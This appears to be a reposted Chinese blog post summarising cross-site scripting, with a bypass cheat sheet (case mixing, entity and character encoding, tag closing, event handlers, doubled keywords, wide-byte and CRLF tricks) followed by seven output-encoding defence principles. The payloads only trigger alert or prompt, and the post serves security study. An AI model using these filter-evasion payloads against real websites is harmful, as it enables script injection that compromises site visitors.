XSS繞過與防御總結


跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。

0x01 XSS的分類

  • 反射型(非持久型)
  • 存儲型(持久型)
  • DOM型

具體的一些介紹與簡單的實例就不做詳述了,本文主要介紹的是XSS的繞過技巧與防御。

0x02 XSS的繞過

大小寫繞過

  	<ScRIpT>alert('123')</sCRIpT>

編碼繞過

1.十六進制編碼

2.jsfuck編碼

3.url編碼

4.unicode編碼

	<0x736372697074>alert('123')</0x736372697074>
	<img src="1" onerror="alert&#x28;1&#x29;"> 
	'被過濾,我們可以將'寫為 &#x27
	將"/"轉義為"&sol;"

繞過magic_quotes_gpc

	<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

閉合標簽

	"><script>alert(/123/)</script>

	</script><script>alert(1)</script> 

標簽繞過

	<img src="x" onerror="alert(1)">
	<button onclick="javascript:alert('xss')>XSS</button">
	<title><img a="</title><img/src=1 onerror=alert(1)//">
	"onsubmit=javascript:alert(1)%20name="a

其他符號繞過

	%0aalert(1);   %0a  換行符
	/**/			替換空格
	%00				截斷

雙字母繞過

	<img ononerrorerror="123">
	<script>alalertert(123)</script>

寬字節繞過

	gbxxxx系列的編碼,那么我們嘗試一下寬字節  %c0 %bf  %5c

其他事件繞過

	onload
	onclick
	onerror
	prompt
	confirm
	onmousemove

CRLF injection繞過

CRLF是”回車 + 換行”(\r\n)的簡稱。
http://www.xxx.com%0d%0a%0d%0a+xss代碼

<svg/onload=prompt(1)>

0x03 XSS的防御

  • 原則1:“Secure By Default”原則:不要往HTML頁面中插入任何不可信數據

  • 原則2:在將不可信數據插入到HTML標簽之間時,對這些數據進行HTML Entity編碼

  • 原則3:在將不可信數據插入到HTML屬性里時,對這些數據進行HTML屬性編碼

  • 原則4:在將不可信數據插入到SCRIPT里時,對這些數據進行SCRIPT編碼

  • 原則5:在將不可信數據插入到Style屬性里時,對這些數據進行CSS編碼

  • 原則6:在將不可信數據插入到HTML URL里時,對這些數據進行URL編碼

  • 原則7:使用富文本時,使用XSS規則引擎進行編碼過濾

歡迎訪問獨立博客joy_nick


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM